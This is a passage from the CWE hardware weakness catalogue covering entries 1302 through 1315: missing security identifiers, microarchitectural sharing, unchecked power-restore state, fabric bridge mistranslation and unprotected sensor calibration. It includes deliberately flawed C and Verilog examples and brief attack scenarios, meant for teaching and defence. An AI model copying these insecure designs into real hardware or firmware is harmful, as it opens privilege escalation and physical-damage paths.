[REF-1055]Peter Gutmann. "Data Remanence in Semiconductor Devices". 10th USENIX Security Symposium. 2001 August. < [https://www.usenix.org/legacy/events/sec01/full\\_papers/gutmann/gutmann.pdf](https://www.usenix.org/legacy/events/sec01/full_papers/gutmann/gutmann.pdf) >.

## CWE-1302: Missing Security Identifier

**Weakness ID** : 1302

**Structure** : Simple

**Abstraction** : Base

### Description

The product implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. A transaction is sent without a security identifier.

## Extended Description

In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute). A typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity) in addition to much more information in the message. Sometimes the transactions are qualified with a Security Identifier. This Security Identifier helps the destination agent decide on the set of allowed or disallowed actions.

A common weakness that can exist in such transaction schemes is that the source agent fails to include the necessary, security identifier with the transaction. Because of the missing security identifier, the destination agent might drop the message, thus resulting in Denial-of-Service (DoS), or get confused in its attempt to execute the given action, which confusion could result in privilege escalation or a gain of unintended access.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1294	Insecure Security Identifier Mechanism	1983

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	DoS: Crash, Exit, or Restart	
Access Control	Bypass Protection Mechanism Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Architecture and Design

Transaction details must be reviewed for design inconsistency and common weaknesses.

### Phase: Implementation

Security identifier definition and programming flow must be tested in pre-silicon and post-silicon testing.

## Demonstrative Examples

### Example 1:

Consider a system with a register for storing AES key for encryption or decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and the register AES\_KEY\_ACCESS\_POLICY is defined to provide the necessary access controls.

The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a security identifier. There could be a maximum of 32 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., "1") allows for a respective action from an agent whose identity matches the number of the bit; if set to "0" (i.e., Clear), it disallows the respective action to that corresponding agent.

*Example Language:*

*(Bad)*

The originator sends a transaction with no security identifier, i.e., meaning the value is "0" or NULL. The AES-Key-access register does not allow the necessary action and drops the transaction because the originator failed to include the required security identifier.

*Example Language:*

*(Good)*

The originator should send a transaction with Security Identifier "2" which will allow access to the AES-Key-access register and allow encryption and decryption operations.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
681	Exploitation of Improperly Controlled Hardware Security Identifiers

## CWE-1303: Non-Transparent Sharing of Microarchitectural Resources

**Weakness ID :** 1303

**Structure :** Simple

**Abstraction :** Base

### Description

Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.

### Extended Description

Modern processors use techniques such as out-of-order execution, speculation, prefetching, data forwarding, and caching to increase performance. Details about the implementation of these techniques are hidden from the programmer's view. This is problematic when the hardware implementation of these techniques results in resources being shared across supposedly isolated contexts. Contention for shared resources between different contexts opens covert channels that allow malicious programs executing in one context to recover information from another context.



Some examples of shared micro-architectural resources that have been used to leak information between contexts are caches, branch prediction logic, and load or store buffers. Speculative and out-of-order execution provides an attacker with increased control over which data is leaked through the covert channel.

If the extent of resource sharing between contexts in the design microarchitecture is undocumented, it is extremely difficult to ensure system assets are protected against disclosure.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		203	Observable Discrepancy	497
ChildOf		1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1829

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory  <i>Microarchitectural side-channels have been used to leak specific information such as cryptographic keys, and Address Space Layout Randomization (ASLR) offsets as well as arbitrary memory.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.

### Phase: Requirements

Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.

## Demonstrative Examples

### Example 1:

On some processors the hardware indirect branch predictor is shared between execution contexts, for example, between sibling SMT threads. When SMT thread A executes an indirect branch to a target address X, this target may be temporarily stored by the indirect branch predictor. A subsequent indirect branch mis-prediction for SMT thread B could speculatively execute instructions at X (or at a location in B's address space that partially aliases X). Even though the processor rolls back the architectural effects of the mis-predicted indirect branch, the memory accesses alter data cache state, which is not rolled back after the indirect branch is resolved.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

## Notes

### Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. Finally, this entry's demonstrative example might not be appropriate. As a result, this entry might change significantly in CWE 4.10.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
663	Exploitation of Transient Instruction Execution

## References

[REF-1121]Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stegfan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom and Mike Hamberg. "Meltdown: Reading Kernel Memory from User Space". 2018 January 3. < <https://meltdownattack.com/meltdown.pdf> >.

[REF-1122]Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stegfan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom and Mike Hamberg. "Spectre Attacks: Exploiting Speculative Execution". 2018 January 3. < <https://spectreattack.com/spectre.pdf> >.

[REF-1123]Dmitry Evtushkin, Dmitry Ponomarev and Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016 October 9. < <https://ieeexplore.ieee.org/abstract/document/7783743/> >.

[REF-1124]Qian Ge, Yuval Yarom, David Cock and Gernot Heiser. "A Survey of Microarchitectural Timing Attacks and Countermeasures on Contemporary Hardware". 2016 October 4. < <https://eprint.iacr.org/2016/613.pdf> >.

## CWE-1304: Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation

**Weakness ID** : 1304

**Structure** : Simple

**Abstraction** : Base

### Description

The product performs a power save/restore operation, but it does not ensure that the integrity of the configuration state is maintained and/or verified between the beginning and ending of the operation.

### Extended Description

Before powering down, the Intellectual Property (IP) saves current state (S) to persistent storage such as flash or always-on memory in order to optimize the restore operation. During this process, an attacker with access to the persistent storage may alter (S) to a configuration that could potentially modify privileges, disable protections, and/or cause damage to the hardware. If the IP does not validate the configuration state stored in persistent memory, upon regaining power or



becoming operational again, the IP could be compromised through the activation of an unwanted/harmful configuration.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
PeerOf	⊕	345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	⊕	1271	Uninitialized Value on Reset for Registers Holding Security Settings	1940

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	DoS: Instability	High
Integrity	DoS: Crash, Exit, or Restart	
	DoS: Resource Consumption (Other)	
	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	
	Alter Execution Logic	
	Quality Degradation	
	Unexpected State	
	Reduce Maintainability	
	Reduce Performance	
	Reduce Reliability	

## Potential Mitigations

### Phase: Architecture and Design

Inside the IP, incorporate integrity checking on the configuration state via a cryptographic hash. The hash can be protected inside the IP such as by storing it in internal registers which never lose power. Before powering down, the IP performs a hash of the configuration and saves it in these persistent registers. Upon restore, the IP performs a hash of the saved configuration and compares it with the saved hash. If they do not match, then the IP should not trust the configuration.

### Phase: Integration

Outside the IP, incorporate integrity checking of the configuration state via a trusted agent. Before powering down, the trusted agent performs a hash of the configuration and saves the hash in persistent storage. Upon restore, the IP requests the trusted agent validate its current configuration. If the configuration hash is invalid, then the IP should not trust the configuration.



**Phase: Integration**

Outside the IP, incorporate a protected environment that prevents undetected modification of the configuration state by untrusted agents. Before powering down, a trusted agent saves the IP's configuration state in this protected location that only it is privileged to. Upon restore, the trusted agent loads the saved state into the IP.

**Demonstrative Examples****Example 1:**

The following pseudo code demonstrates the power save/restore workflow which may lead to weakness through a lack of validation of the config state after restore.

*Example Language: C*

*(Bad)*

```
void save_config_state()
{
    void* cfg;
    cfg = get_config_state();
    save_config_state(cfg);
    go_to_sleep();
}
void restore_config_state()
{
    void* cfg;
    cfg = get_config_file();
    load_config_file(cfg);
}
```

The following pseudo-code is the proper workflow for the integrity checking mitigation:

*Example Language: C*

*(Good)*

```
void save_config_state()
{
    void* cfg;
    void* sha;
    cfg = get_config_state();
    save_config_state(cfg);
    // save hash(cfg) to trusted location
    sha = get_hash_of_config_state(cfg);
    save_hash(sha);
    go_to_sleep();
}
void restore_config_state()
{
    void* cfg;
    void* sha_1, sha_2;
    cfg = get_config_file();
    // restore hash of config from trusted memory
    sha_1 = get_persisted_sha_value();
    sha_2 = get_hash_of_config_state(cfg);
    if (sha_1 != sha_2)
        assert_error_and_halt();
    load_config_file(cfg);
}
```

It must be noted that in the previous example of good pseudo code, the memory (where the hash of the config state is stored) must be trustworthy while the hardware is between the power save and restore states.

**Functional Areas**

- Power

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
176	Configuration/Environment Manipulation

## CWE-1310: Missing Ability to Patch ROM Code

**Weakness ID :** 1310

**Structure :** Simple

**Abstraction :** Base

### Description

Missing an ability to patch ROM code may leave a System or System-on-Chip (SoC) in a vulnerable state.

### Extended Description

A System or System-on-Chip (SoC) that implements a boot process utilizing security mechanisms such as Root-of-Trust (RoT) typically starts by executing code from a Read-only-Memory (ROM) component. The code in ROM is immutable, hence any security vulnerabilities discovered in the ROM code can never be fixed for the systems that are already in use.

A common weakness is that the ROM does not have the ability to patch if security vulnerabilities are uncovered after the system gets shipped. This leaves the system in a vulnerable state where an adversary can compromise the SoC.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	1329	Reliance on Component That is Not Updateable	2043

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Reduce Maintainability  <i>When the system is unable to be patched, it can be left in a vulnerable state.</i>	High

## Potential Mitigations

### Phase: Architecture and Design

#### Phase: Implementation

Secure patch support to allow ROM code to be patched on the next boot.

*Effectiveness = Moderate*

*Some parts of the hardware initialization or signature verification done to authenticate patches will always be "not patchable."*

### Phase: Architecture and Design

#### Phase: Implementation

Support patches that can be programmed in-field or during manufacturing through hardware fuses. This feature can be used for limited patching of devices after shipping, or for the next batch of silicon devices manufactured, without changing the full device ROM.

*Effectiveness = Moderate*

*Patches that use hardware fuses will have limitations in terms of size and the number of patches that can be supported. Note that some parts of the hardware initialization or signature verification done to authenticate patches will always be "not patchable."*

## Demonstrative Examples

### Example 1:

A System-on-Chip (SOC) implements a Root-of-Trust (RoT) in ROM to boot secure code. However, at times this ROM code might have security vulnerabilities and need to be patched. Since ROM is immutable, it can be impossible to patch.

ROM does not have built-in application-programming interfaces (APIs) to patch if the code is vulnerable. Implement mechanisms to patch the vulnerable ROM code.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1196	Security Flow Issues		1194 2262

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
682	Exploitation of Firmware or ROM Code with Unpatchable Vulnerabilities

## CWE-1311: Improper Translation of Security Attributes by Fabric Bridge

**Weakness ID** : 1311

**Structure** : Simple

**Abstraction** : Base

### Description

The bridge incorrectly translates security attributes from either trusted to untrusted or from untrusted to trusted when converting from one fabric protocol to another.

### Extended Description

A bridge allows IP blocks supporting different fabric protocols to be integrated into the system. Fabric end-points or interfaces usually have dedicated signals to transport security attributes. For example, HPROT signals in AHB, AxPROT signals in AXI, and MReqInfo and SRespInfo signals in OCP.

The values on these signals are used to indicate the security attributes of the transaction. These include the immutable hardware identity of the controller initiating the transaction, privilege level, and type of transaction (e.g., read/write, cacheable/non-cacheable, posted/non-posted).

A weakness can arise if the bridge IP block, which translates the signals from the protocol used in the IP block endpoint to the protocol used by the central bus, does not properly translate the security attributes. As a result, the identity of the initiator could be translated from untrusted to trusted or vice-versa. This could result in access-control bypass, privilege escalation, or denial of service.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Architecture and Design

The translation must map signals in such a way that untrusted agents cannot map to trusted agents or vice-versa.

### Phase: Implementation

Ensure that the translation maps signals in such a way that untrusted agents cannot map to trusted agents or vice-versa.

## Demonstrative Examples

### Example 1:

The bridge interfaces between OCP and AHB end points. OCP uses MReqInfo signal to indicate security attributes, whereas AHB uses HPROT signal to indicate the security attributes. The width of MReqInfo can be customized as needed. In this example, MReqInfo is 5-bits wide and carries the privilege level of the OCP controller.

The values 5'h11, 5'h10, 5'h0F, 5'h0D, 5'h0C, 5'h0B, 5'h09, 5'h08, 5'h04, and 5'h02 in MReqInfo indicate that the request is coming from a privileged state of the OCP bus controller. Values 5'h1F, 5'h0E, and 5'h00 indicate untrusted, privilege state.

Though HPROT is a 5-bit signal, we only consider the lower, two bits in this example. HPROT values 2'b00 and 2'b10 are considered trusted, and 2'b01 and 2'b11 are considered untrusted.

The OCP2AHB bridge is expected to translate trusted identities on the controller side to trusted identities on the responder side. Similarly, it is expected to translate untrusted identities on the controller side to untrusted identities on the responder side.

Example Language: Verilog

(Bad)

```
module ocp2ahb
(
  ahb_hprot,
  ocp_mreqinfo
);
output [1:0] ahb_hprot; // output is 2 bit signal for AHB HPROT
input [4:0] ocp_mreqinfo; // input is 5 bit signal from OCP MReqInfo
wire [6:0] p0_mreqinfo_o_temp; // OCP signal that transmits hardware identity of bus controller
wire y;
reg [1:0] ahb_hprot;
// hardware identity of bus controller is in bits 5:1 of p0_mreqinfo_o_temp signal
assign p0_mreqinfo_o_temp[6:0] = {1'b0, ocp_mreqinfo[4:0], y};
always @*
begin
  case (p0_mreqinfo_o_temp[4:2])
    000: ahb_hprot = 2'b11; // OCP MReqInfo to AHB HPROT mapping
    001: ahb_hprot = 2'b00;
    010: ahb_hprot = 2'b00;
    011: ahb_hprot = 2'b01;
    100: ahb_hprot = 2'b00;
    101: ahb_hprot = 2'b00;
    110: ahb_hprot = 2'b10;
    111: ahb_hprot = 2'b00;
  endcase
end
endmodule
```

Logic in the case statement only checks for MReqInfo bits 4:2, i.e., hardware-identity bits 3:1. When ocp\_mreqinfo is 5'h1F or 5'h0E, p0\_mreqinfo\_o\_temp[2] will be 1. As a result, untrusted IDs from OCP 5'h1F and 5'h0E get translated to trusted ahb\_hprot values 2'b00.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1203	Peripherals, On-chip Fabric, and Interface/IO Problems	1194	2265

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels
233	Privilege Escalation

## CWE-1312: Missing Protection for Mirrored Regions in On-Chip Fabric Firewall

Weakness ID : 1312

**Structure** : Simple  
**Abstraction** : Base

## Description

The firewall in an on-chip fabric protects the main addressed region, but it does not protect any mirrored memory or memory-mapped-IO (MMIO) regions.

## Extended Description

Few fabrics mirror memory and address ranges, where mirrored regions contain copies of the original data. This redundancy is used to achieve fault tolerance. Whatever protections the fabric firewall implements for the original region should also apply to the mirrored regions. If not, an attacker could bypass existing read/write protections by reading from/writing to the mirrored regions to leak or corrupt the original data.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	⊕	1251	Mirrored Regions with Different Values	1894

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Access Control	Bypass Protection Mechanism	

## Detection Methods

### Manual Dynamic Analysis

Using an external debugger, send write transactions to mirrored regions to test if original, write-protected regions are modified. Similarly, send read transactions to mirrored regions to test if the original, read-protected signals can be read.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

The fabric firewall should apply the same protections as the original region to the mirrored regions.

### Phase: Implementation

The fabric firewall should apply the same protections as the original region to the mirrored regions.

### Demonstrative Examples

#### Example 1:

A memory-controller IP block is connected to the on-chip fabric in a System on Chip (SoC). The memory controller is configured to divide the memory into four parts: one original and three mirrored regions inside the memory. The upper two bits of the address indicate which region is being addressed. 00 indicates the original region and 01, 10, and 11 are used to address the mirrored regions. All four regions operate in a lock-step manner and are always synchronized. The firewall in the on-chip fabric is programmed to protect the assets in the memory.

The firewall only protects the original range but not the mirrored regions.

The attacker (as an unprivileged user) sends a write transaction to the mirrored region. The mirrored region has an address with the upper two bits set to "10" and the remaining bits of the address pointing to an asset. The firewall does not block this write transaction. Once the write is successful, contents in the protected-memory region are also updated. Thus, the attacker can bypass existing, memory protections.

Firewall should protect mirrored regions.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1203	Peripherals, On-chip Fabric, and Interface/IO Problems	1194	2265

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
456	Infected Memory
679	Exploitation of Improperly Configured or Implemented Memory Protections

### References

[REF-1134]Taku Izumi, Fujitsu Limited. "Address Range Memory Mirroring". 2016. < <https://www.fujitsu.com/jp/documents/products/software/os/linux/catalog/LinuxConJapan2016-Izumi.pdf> >.

## CWE-1313: Hardware Allows Activation of Test or Debug Logic at Runtime

**Weakness ID** : 1313

**Structure** : Simple

**Abstraction** : Base

### Description

During runtime, the hardware allows for test or debug logic (feature) to be activated, which allows for changing the state of the hardware. This feature can alter the intended behavior of the system and allow for alteration and leakage of sensitive data by an adversary.

### Extended Description

An adversary can take advantage of test or debug logic that is made accessible through the hardware during normal operation to modify the intended behavior of the system. For example, an accessible Test/debug mode may allow read/write access to any system data. Using error injection (a common test/debug feature) during a transmit/receive operation on a bus, data may be



modified to produce an unintended message. Similarly, confidentiality could be compromised by such features allowing access to secrets.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Availability	DoS: Crash, Exit, or Restart	
	DoS: Instability	
	DoS: Resource Consumption (CPU)	
	DoS: Resource Consumption (Memory)	
	DoS: Resource Consumption (Other)	
	Execute Unauthorized Code or Commands	
	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	
	Alter Execution Logic	
	Quality Degradation	
	Unexpected State	
	Reduce Performance	
	Reduce Reliability	

## Potential Mitigations

### Phase: Architecture and Design

Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.

### Phase: Implementation


Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.

### Phase: Integration

Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1207	Debug and Test Problems	1194	2267

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces

## CWE-1314: Missing Write Protection for Parametric Data Values

**Weakness ID :** 1314

**Structure :** Simple

**Abstraction :** Base

### Description

The device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure.

### Extended Description

Various sensors are used by hardware to detect any devices operating outside of the design limits. The threshold limit values are set by hardware fuses or trusted software such as the BIOS. These limits may be related to thermal, power, voltage, current, and frequency. Hardware mechanisms may be used to protect against alteration of the threshold limit values by untrusted software.

The limit values are generally programmed in standard units for the type of value being read. However, the hardware-sensor blocks may report the settings in different units depending upon sensor design and operation. The raw sensor output value is converted to the desired units using a scale conversion based on the parametric data programmed into the sensor. The final converted value is then compared with the previously programmed limits.

While the limit values are usually protected, the sensor parametric data values may not be. By changing the parametric data, safe operational limits may be bypassed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		862	Missing Authorization	1657

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	ⓑ	1299	Missing Protection Mechanism for Alternate Hardware Interface	1993

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Sensor Hardware (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	Quality Degradation DoS: Resource Consumption (Other)  <i>Sensor value manipulation, particularly thermal or power, may allow physical damage to occur or disabling of the device by a false fault shutdown causing a Denial-Of-Service.</i>	High

### Potential Mitigations

#### Phase: Architecture and Design

Access controls for sensor blocks should ensure that only trusted software is allowed to change threshold limits and sensor parametric data.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

Malicious software executes instructions to increase power consumption to the highest possible level while causing the clock frequency to increase to its maximum value. Such a program executing for an extended period of time would likely overheat the device, possibly resulting in permanent damage to the device.

A ring, oscillator-based temperature sensor will generally report the sensed value as oscillator frequency rather than degrees centigrade. The temperature sensor will have calibration values that are used to convert the detected frequency into the corresponding temperature in degrees centigrade.

Consider a SoC design where the critical maximum temperature limit is set in fuse values to 100C and is not modifiable by software. If the scaled thermal sensor output equals or exceeds this limit, the system is commanded to shut itself down.

The thermal sensor calibration values are programmable through registers that are exposed to system software. These registers allow software to affect the converted temperature output such that the output will never exceed the maximum temperature limit.

*Example Language: Other*

*(Bad)*

The sensor frequency value is scaled by applying the function:

$$\text{Sensed Temp} = a + b * \text{Sensor Freq}$$

where a and b are the programmable calibration data coefficients. Software sets a and b to zero ensuring the sensed temperature is always zero.

This weakness may be addressed by preventing access to a and b.

Example Language: Other

(Good)

The sensor frequency value is scaled by applying the function:

$$\text{Sensed Temp} = a + b * \text{Sensor Freq}$$

where a and b are the programmable calibration data coefficients. Untrusted software is prevented from changing the values of either a or b, preventing this method of manipulating the temperature.

## Observed Examples

Reference	Description
<b>CVE-2017-8252</b>	Kernel can inject faults in computations during the execution of TrustZone leading to information disclosure in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice and Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking. <a href="https://www.cve.org/CVERecord?id=CVE-2017-8252">https://www.cve.org/CVERecord?id=CVE-2017-8252</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263
MemberOf	C	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs

## References

[REF-1082]Adrian Tang, Simha Sethumadhavan and Salvatore Stolfo. "CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management". < <https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-tang.pdf> >.

## CWE-1315: Improper Setting of Bus Controlling Capability in Fabric End-point

**Weakness ID** : 1315

**Structure** : Simple

**Abstraction** : Base

### Description

The bus controller enables bits in the fabric end-point to allow responder devices to control transactions on the fabric.

### Extended Description

To support reusability, certain fabric interfaces and end points provide a configurable register bit that allows IP blocks connected to the controller to access other peripherals connected to the fabric. This allows the end point to be used with devices that function as a controller or responder. If this bit is set by default in hardware, or if firmware incorrectly sets it later, a device intended to

be a responder on a fabric is now capable of controlling transactions to other devices and might compromise system security.

## Relationships

